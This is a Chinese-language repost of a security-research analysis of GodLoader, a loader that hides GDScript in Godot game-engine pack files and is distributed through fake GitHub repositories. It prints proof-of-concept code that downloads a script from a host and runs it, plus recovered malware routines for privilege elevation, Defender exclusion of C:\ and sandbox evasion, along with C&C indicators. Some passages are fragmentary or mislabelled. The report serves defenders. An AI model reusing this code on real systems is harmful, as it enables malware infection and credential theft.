关键点
-
Check Point Research 发现了一种新技术,利用流行的开源游戏引擎 Godot Engine 来执行精心设计的 GDScript 代码,该代码会触发恶意命令并传播恶意软件。VirusTotal 中的几乎所有防病毒引擎都无法检测到该技术。 -
Check Point 发现了 GodLoader ,这是一种采用这种新技术的加载程序。该恶意软件背后的威胁者自 2024 年 6 月 29 日起一直在使用它,感染了超过 17,000 台机器 -
恶意的 GodLoader 由Stargazers Ghost Network分发,这是一个以服务形式分发恶意软件的 GitHub 网络。整个 9 月和 10 月,大约有 200 个存储库和超过 225 个 Stargazer 被用来使分发恶意软件的存储库合法化。 -
这种新技术允许威胁行为者瞄准并感染多个平台上的设备,例如 Windows、macOS、Linux、Android 和 iOS。 -
Check Point Research 演示了这种多平台技术如何成功在 Linux 和 MacOS 中投放有效载荷。 -
潜在攻击可能针对超过 120 万 Godot 开发游戏的用户。这些场景涉及利用合法的 Godot 可执行文件以模组或其他可下载内容的形式加载恶意脚本。
介绍
-
2024-09-12 -
2024-09-14 -
2024-09-29 -
2024-10-03
技术分析
Pack 文件结构如下所示,包含 .pck 标头、每个打包文件的信息及其内容。如果作者在构建过程中指定了 AES 密钥,则内容将被加密。
跨平台的 God Loader
Linux 概念验证
func _linux_do() -> void:
print("linux do enter ...")
var cat_out = []
var pay_out = "/tmp/l.sh"
OS.execute("wget", ["-O", pay_out, "<http://192.168.56.103:9000/l.sh>"], cat_out)
OS.execute("chmod", ["+x", pay_out], cat_out, true)
OS.execute(pay_out, [], cat_out, true)
OS.execute("rm", [pay_out], cat_out, true)
print(cat_out)
print("linux do exit ...")
Linux有效载荷的代码:
/usr/bin/galculator
MACOS概念验证
MacOS GDScript POC代码:
func _mac_do() -> void:
print("mac do enter ...")
var cat_out = []
var pay_out = "/tmp/c.sh"
OS.execute("/opt/homebrew/bin/wget", ["-O", pay_out, "<http://192.168.15.10:9000/c.sh>"], cat_out, true)
OS.execute("chmod", ["+x", pay_out], cat_out, true)
OS.execute(pay_out, [], cat_out, true)
OS.execute("rm", [pay_out], cat_out, true)
print(cat_out)
print("mac do exit ...")
MacOS有效载荷:
open -a Calculator
Stargazers Ghost Network 活动分发 GodLoader
该活动于2024 年 10 月 3 日开始,使用了100 个唯一存储库。它分发了一个包含两个文件的档案:
1)Launcherkks.exe和
2) Launcherkks.pck。
每个存储库都由一到十二个帐户加注星标,并利用github-actions[bot]使用当前日期和时间更新LOG。此策略似乎提高了存储库在 GitHub 搜索中的可见性,使它们显示为最近更新的存储库。
下载的 RAR 存档未受密码保护,具有唯一的随机名称。Stargazers Ghost Network 在 2024 年 9 月 12 日、9 月 14 日和 9 月 29 日的先前活动中分发了相同的存档。Check Point Research 发现有超过 196 个存储库分发了恶意 GodLoader,超过 225 名 stargazers 为这些存储库加了星标。
$ py3 1.py 260f06f0c6c1544afcdd9a380a114489ebdd041b846b68703158e207b7c983d6\Launcherkks.pck
records_num: 14
offset: 00000064
0 : 000015d0 : 00001aa2 : b'480c9ce7b6f60aa42e9a5886da844b67' : b'res://.godot/exported/133200997/export-e66311c87c39ec8c25379305b5ae724b-control.scn\x00'
offset: 000000e0
1 : 0005c7b0 : 0000001b : b'9984d0a0b5388a08ddd4387e247d50da' : b'res://.godot/global_script_class_cache.cfg\x00\x00'
offset: 00000134
2 : 000030b0 : 00000d1c : b'efbc9a5174dc45bf0d631c4faedd17a8' : b'res://.godot/imported/icon.svg-218a8f2b3041327d8a5756f3a245f83b.ctex'
offset: 000001a0
3 : 00003f00 : 000001ec : b'2078f4397407b82d92a9aec7ca409726' : b'res://.godot/imported/iconka.png-33ab33dfde13e2f89482bff662349c82.ctex\x00\x00'
offset: 00000210
4 : 00004220 : 000006fc : b'd3575a49bea6bd54a543d720412134b3' : b'res://.godot/imported/saaasf.png-5b88526524374dc75cb75ac9dda020f8.ctex\x00\x00'
offset: 00000280
5 : 0005cd70 : 00000074 : b'bef08eff4910a50e6997fbe21bb8b594' : b'res://.godot/uid_cache.bin\x00\x00'
offset: 000002c4
6 : 00000000 : 000015a0 : b'c7d5a8188ea302ab78d6a529e90d43b8' : b'res://control.gd'
offset: 000002fc
7 : 0005c710 : 00000064 : b'6501ebb8f3472c28c2396b32dee370f7' : b'res://control.tscn.remap'
offset: 0000033c
8 : 00003e00 : 000000c1 : b'e41f0625a4574d3424e7bfa11a1f6416' : b'res://icon.svg.import\x00\x00\x00'
offset: 0000037c
9 : 00004a50 : 00057c87 : b'9a4ac6322a57b14acb3157c9cd83cd76' : b'res://iconka.ico'
offset: 000003b4
10 : 0005c800 : 00000539 : b'ee60134b5708931be25b58780c0ff8a5' : b'res://iconka.png'
offset: 000003ec
11 : 00004120 : 000000c3 : b'8e09c87e2e69a9b58341050b5e38134d' : b'res://iconka.png.import\x00'
offset: 0000042c
12 : 0005ce20 : 00000727 : b'7c91efbcaa02854d951ac79000b77017' : b'res://project.binary'
offset: 00000468
13 : 00004950 : 000000c3 : b'639864b85bd3ec6d8bb00f7e08d145d9' : b'res://saaasf.png.import\x00'
-
# Закрываем текущее окно, “关闭当前窗口” -
# Закрываем приложение после показа сообщения, “显示消息后关闭应用程序”
-
代码逃避沙盒和反沙盒分析 -
代码以逃避Microsoft Defender对恶意负载的检测 -
下载并执行有效载荷的代码
通过检查 3D 视频加速功能是否可用来实现沙盒逃避。以下代码强制 Godot 引擎使用 3D 视频加速:
func request_admin_privileges():
var godot_executable = OS.get_executable_path()
var godot_args = OS.get_cmdline_args()
if "--rendering-driver opengl3" not in godot_args:
godot_args.append("--rendering-driver")
godot_args.append("opengl3")
godot_args.append("--admin-requested")
var args_string = " ".join(godot_args)
var ps_command = """
Start-Process -FilePath '%s' -ArgumentList '%s' -Verb RunAs
""" % [godot_executable, args_string]
var args = PackedStringArray(["-Command", ps_command])
var output = []
var exit_code = OS.execute("powershell.exe", args, output, true)
if exit_code == 0:
get_tree().quit() # Закрываем текущее окно
else:
show_windows_message_box()
func request_admin_privileges():
var godot_executable = OS.get_executable_path()
var godot_args = OS.get_cmdline_args()
if "--rendering-driver opengl3" not in godot_args:
godot_args.append("--rendering-driver")
godot_args.append("opengl3")
godot_args.append("--admin-requested")
var args_string = " ".join(godot_args)
var ps_command = """
Start-Process -FilePath '%s' -ArgumentList '%s' -Verb RunAs
""" % [godot_executable, args_string]
var args = PackedStringArray(["-Command", ps_command])
var output = []
var exit_code = OS.execute("powershell.exe", args, output, true)
if exit_code == 0:
get_tree().quit() # Закрываем текущее окно
else:
show_windows_message_box()
如果系统中不存在 3D 加速硬件,则应用程序将终止并显示以下消息:
func _on_gpu_check_completed(gpu_names: Array):
var success = false
for name in gpu_names:
var gpu_name_lower = name.to_lower()
if (gpu_name_lower.find("nvidia") != -1 or
gpu_name_lower.find("amd") != -1 or
gpu_name_lower.find("radeon") != -1 or
gpu_name_lower.find("rx") != -1):
success = true
break
if success:
text = "WAIT. UPDATING..."
_start_execution()
else:
show_message_box("Outdated, wait for the update", "Warning")
_finish_execution(false)
func get_gpu_names() -> Array:
var output = []
var ps_command = 'Get-WmiObject -Class Win32_VideoController | ForEach-Object { $_.Name }'
var args = ["-Command", ps_command]
var exit_code = OS.execute("powershell.exe", args, output, true)
var gpu_names = []
for line in output:
var gpu_name = line.strip_edges()
if not gpu_name.is_empty():
gpu_names.append(gpu_name)
return gpu_names
func _check_gpu_in_thread():
var gpu_names = get_gpu_names()
call_deferred("_on_gpu_check_completed", gpu_names)
func _check_space_in_thread():
var total_space_gb = get_total_free_space_gb()
call_deferred("_on_space_check_completed", total_space_gb)
func _on_space_check_completed(total_space_gb: float):
is_executing = false
if total_space_gb > 360:
add_folder_to_windows_defender_exclusions()
_start_execution()
else:
show_message_box("Outdated, wait for the update", "Warning")
func get_total_free_space_gb() -> float:
var cmd = 'powershell -Command "Get-PSDrive -PSProvider FileSystem | Where-Object { $_.Free -gt 0 } | Measure-Object -Property Free -Sum | Select-Object -ExpandProperty Sum"'
var result = []
var exit_code = OS.execute("cmd", ["/c", cmd], result, true)
if exit_code == 0:
var output = ""
for line in result:
output += line + "\n"
output = output.strip_edges()
var space_bytes = output.to_float()
if space_bytes > 0 or output == "0":
var space_gb = space_bytes / 1_073_741_824.0
return space_gb
else:
return -1.0
else:
return -1.0
var ps_command = """
Add-MpPreference -ExclusionPath 'C:\\';
"""
var args = PackedStringArray(["-Command", ps_command])
var output = []
OS.execute("powershell.exe", args, output, true)
随后,该脚本尝试按顺序下载并执行有效载荷文件。有趣的是,下载的有效载荷托管在bitbucket.org合法的代码协作和项目管理平台上。这两个有效载荷分别于 2024 年 6 月 29 日和 8 月 7 日上传。最早的样本似乎已被下载超过17,000次,这表明潜在受害者的数量。在搜索更多 GodLoader 样本时,Check Point Research认为这是该攻击首次被使用,第一次活动发生在 2024-06-29。
-
该文件的第一个版本来自 2024 年 6 月 29 日的RedLine和C &C:147.45.44.83:6483 -
第二次是在 2024 年 7 月 6 日,使用 C&C 的RedLine :185.196.9.26:6302 -
最后一次是在 2024 年 8 月 7 日,RedLine与 C&C:185.196.9.26:6302 -
哈希 文件 B1A351EE61443B8558934DCA6B2FA9EFB0A6D2D18BAE61ACE5A761596604DBFA asdz2.png (XMRig) B1A351EE61443B8558934DCA6B2FA9EFB0A6D2D18BAE61ACE5A761596604DBFA Updatemmmm.exe (XMRig) 6BE9C015C82645A448831D9DC8FCAE4360228F76DFF000953A76E3BF203D3EC8 sdadsasad.png (1st RedLine) 604FA32B76DBE266DA3979B7A49E3100301DA56F0B58C13041AB5FEBE55354D2 UpdateSSSS.exe (last RedLine)
在超过三个月的时间里,威胁者将恶意文件托管在合法平台上,并在很长一段时间内未被发现,感染了超过17,000 名受害者。在此期间,威胁者几乎没有进行任何修改,只更改了两次 C&C,这对于运行一个已知且受到密切跟踪的恶意软件家族的 C&C 来说,是一个令人印象深刻的时间。
XMRig矿工进入私人粘贴页面pastebin以检索其配置。私人粘贴 7bG9giRJ 于 2024 年 5 月 10 日上传,其中包含与该活动相关的XMRig配置,已被访问206,913次。
这篇贴文背后的账户@SKRASH1似乎也有一些公开的配置,最早的是 2021 年 12 月 10 日。根据这些配置,威胁行为者主要拥有门罗币和以太坊,这对于网络犯罪分子来说并不奇怪。
超级进化
自 2024 年 6 月 29 日起,恶意软件 GodLoader 已从将嵌入.pck文件作为 PE 部分包含转变为将其作为单独文件,并从解密变为加密。
主要功能集中在.pckGodot 可执行文件的段内。Pack 文件可以单独传输,也可以在可执行文件内分段传输。
虽然恶意代码的主要演变发生在.pck文件内,但在后期,参与者还试图提高逃避级别并加密.pck文件。
-
检查是否授予管理员权限,若未授予则请求授予 -
添加c:\到 MS Defender 排除列表 -
下载并执行payload
-
脚本代码已从一个文件复制scn 到另一个文件gd。 -
Godot 参数从BLACKLAUCNHERapplication/config/name更改为NewLauncher。
-
攻击者添加了可用空间检查,用作沙盒分析规避技术。如果所有驱动器上的可用空间小于 360GB,则应用程序不会下载任何有效负载。 -
在 Godot 选项名称下的配置中添加了 TLS 证书network/tls/certificate_bundle_override。
-
攻击者改用了另一种沙盒规避技术。这次,脚本检查了可用的 3D 视频图形适配器的名称,只有当名称中包含以下字符串时才会继续运行:Nvidia、AMD、Radeon、rx。 -
恶意负载链接已更新。撰写本文时,新链接不可用。
FB 30 66 F5 3A FA 7A B9 AA 44 4C 59 18 6C 75 0E 4E 23 7C 5E 5E FF B5 60 E5 12 34 00 BC 76 72 4D
潜在的攻击场景
-
获取 Godot 游戏可执行文件。 -
逆向并获取AES密钥。 -
制作一个恶意pck文件并使用获取的密钥对其进行加密。 -
pck诱骗特定游戏用户用恶意文件替换当前文件。
结论
缓解措施
保护
-
Technique.win.GDscript.*
-
Dropper.Win.Godot.*
攻击指标
Description | Value |
---|---|
Archive distributed by Stargazers Ghost Network | 260f06f0c6c1544afcdd9a380a114489ebdd041b846b68703158e207b7c983d6 |
Launcherkks.exe | 3317b8e19e19218e5a7c77a47a76f36e37319f383b314b30179b837e46c87c45 |
Launcherkks.pck | 0d03c7c6335e06c45dd810fba6c52cdb9eafe02111da897696b83811bff0be92 |
RedLine | 604fa32b76dbe266da3979b7a49e3100301da56f0b58c13041ab5febe55354d2 6be9c015c82645a448831d9dc8fcae4360228f76dff000953a76e3bf203d3ec8 |
XMRig | b1a351ee61443b8558934dca6b2fa9efb0a6d2d18bae61ace5a761596604dbfa |
RedLine C&Cs | 147.45.44.83:6483 185.196.9.26:6302 |
往期推荐
Nighthawk 正在推翻 Cobalt Strike
2024-12-03
macOS 上的横向移动:独特且流行的技术以及实际示例
2024-11-28
【必看】Rockstar 2FA:网络钓鱼即服务 (PaaS) 背后的工具
2024-12-02
警告警惕通过钓鱼电子邮件传播的 SVG 格式恶意软件
2024-11-25
下一代红蓝:AI如何增强红队能力
2024-11-21
原文始发于微信公众号(OSINT研习社):游戏引擎:恶意软件加载程序未被发现的新大陆
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论